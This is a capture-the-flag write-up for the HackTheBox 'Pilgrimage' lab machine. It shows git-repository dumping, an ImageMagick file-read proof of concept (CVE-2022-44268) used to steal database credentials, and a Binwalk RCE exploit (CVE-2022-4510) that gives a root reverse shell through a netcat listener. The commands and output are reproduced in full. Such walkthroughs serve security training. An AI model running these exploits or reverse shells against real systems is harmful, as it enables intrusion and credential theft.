Enum#

Let’s start with a quick Nmap scan.

Nmap Scan#

1
root@Fs:.../HTB/Pilgrimage# nmap -p- -oN Nmap -sCV -T4 pilgrimage.htb
2
# Nmap 7.80 scan initiated Sun Jun 25 16:17:30 2023 as: nmap -p- -oN Nmap -sCV -T4 pilgrimage.htb
3
Nmap scan report for pilgrimage.htb (10.10.11.219)
4
Host is up (0.34s latency).
5
Not shown: 65533 closed ports
6
PORT   STATE SERVICE VERSION
7
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
8
80/tcp open  http    nginx 1.18.0
9
| http-cookie-flags:
10
|   /:
11
|     PHPSESSID:
12
|_      httponly flag not set
13
| http-git:
14
|   10.10.11.219:80/.git/
15
|     Git repository found!
16
|     Repository description: Unnamed repository; edit this file 'description' to name the...
17
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
18
|_http-server-header: nginx/1.18.0
19
|_http-title: Pilgrimage - Shrink Your Images
20
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
21

22
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
23
# Nmap done at Sun Jun 25 16:21:47 2023 -- 1 IP address (1 host up) scanned in 256.71 seconds

Let’s check what’s running on port 80.

It seems to be an upload server, Let’s try uploading something;

By reading the Nmap scan, we realized that there’s a .git/ directory. Let’s try to dump its contents.

1
git-dumper http://pilgrimage.htb/ git/

1
root@Fs:.../HTB/Pilgrimage# ls git/
2
assets  dashboard.php  index.php  login.php  logout.php  magick  register.php  vendor

By reading the contents of those files, we found some interesting information. It appears that it’s using SQLite as the database.

It’s using ImageMagick to convert images.

By conducting a Google search, I found a ! CVE-2022-44268 (Common Vulnerabilities and Exposures) related to the discovered vulnerability.

let’s try This POC

We have already identified the location where the DB stores data: “/var/db/pilgrimage”.

Let’s try to access this file.

1
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# python3 generate.py  -f "/var/db/pilgrimage" -o exploit.png
2

3
   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
4
   [>] Generating Blank PNG
5
   [>] Blank PNG generated
6
   [>] Placing Payload to read /var/db/pilgrimage
7
   [>] PoC PNG generated > exploit.png
8
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# convert exploit.png result.png

Download Time:

1
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# wget http://pilgrimage.htb/shrunk/64af576f46ee8.png
2
--2023-07-13 02:46:53--  http://pilgrimage.htb/shrunk/64af576f46ee8.png
3
Resolving pilgrimage.htb (pilgrimage.htb)... 10.10.11.219
4
Connecting to pilgrimage.htb (pilgrimage.htb)|10.10.11.219|:80... connected.
5
HTTP request sent, awaiting response... 200 OK
6
Length: 1628 (1.6K) [image/png]
7
Saving to: ‘64af576f46ee8.png’
8

9
64af576f46ee8.png                     100%[========================================================================>]   1.59K  --.-KB/s    in 0s
10

11
2023-07-13 02:46:54 (205 MB/s) - ‘64af576f46ee8.png’ saved [1628/1628]
12

13
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# convert 64af576f46ee8.png result.png
14
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# identify -verbose result.png
15
[output...]

Let’s copy the “Raw profile type: ” string and decode it using CyberChef.

From Hex;

Let’s Download the sqlite file

Let’s log in via SSH using those credentials.

And we have successfully gained access .

Priv-esc#

1
emily@pilgrimage:~$ ls
2
linPEAS.sh  pspy64  user.txt

Let’s run pspy64 first, followed by Linpeas, and hope to gather some valuable information.

After 10 years HAAHAH, we finally discovered some interesting findings.

1
2023/07/13 12:06:18 CMD: UID=0     PID=713    | /bin/bash /usr/sbin/malwarescan.sh

The content:

I wasted a lot of time before realizing that Binwalk is outdated and has a CVE !! Binwalk v2.3.2 - Remote Command Execution (RCE)

Let’s utilize the ExploitDB script to gain root access

1
root@Fs:.../Pilgrimage/privesc# python3 exploit.py random-image.png 10.10.14.xxx 9999
2

3
################################################
4
------------------CVE-2022-4510----------------
5
################################################
6
--------Binwalk Remote Command Execution--------
7
------Binwalk 2.1.2b through 2.3.2 included-----
8
------------------------------------------------
9
################################################
10
----------Exploit by: Etienne Lacoche-----------
11
---------Contact Twitter: @electr0sm0g----------
12
------------------Discovered by:----------------
13
---------Q. Kaiser, ONEKEY Research Lab---------
14
---------Exploit tested on debian 11------------
15
################################################
16

17

18
You can now rename and share binwalk_exploit and start your local netcat listener.
19

20
root@Fs:.../Pilgrimage/privesc# scp binwalk_exploit.png emily@10.10.11.219:/var/www/pilgrimage.htb/shrunk/
21
emily@10.10.11.219's password:
22
bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
23
binwalk_exploit.png                                                                                                  100% 1084     3.4KB/s   00:00

and we have access

1
root@Fs:.../Pilgrimage/privesc# nc -lnvp 9999
2
Listening on 0.0.0.0 9999
3
Connection received on 10.10.11.219 46362
4
ls
5
_binwalk_exploit.png.extracted
6
_e.png.extracted
7
whoami
8
root
9
id
10
uid=0(root) gid=0(root) groups=0(root)
11
python3 -c 'import pty;pty.spawn("/bin/bash")'
12
^Z
13
[1]+  Stopped                 nc -lnvp 9999
14
root@Fs:.../Pilgrimage/privesc# stty raw -echo;fg
15
nc -lnvp 9999
16
             root@pilgrimage:~/quarantine# export TERM=xterm-256color
17
root@pilgrimage:~/quarantine# export SHELL=/bin/bash
18
root@pilgrimage:~/quarantine# ls
19
_binwalk_exploit.png.extracted  _e.png.extracted
20
root@pilgrimage:~/quarantine# ls /root
21
quarantine  reset.sh  root.txt
22
root@pilgrimage:~/quarantine#

Goodbye! 💜

Music

Music

Enum#

Nmap Scan#

Priv-esc#

Share Article

Music

Table of Contents

Music

Music

Pilgrimage (HackTheBox): Git Exposure → ImageMagick CVE-2022-44268 → PrivEsc

Enum#

Nmap Scan#

Priv-esc#

Share Article

Music

Table of Contents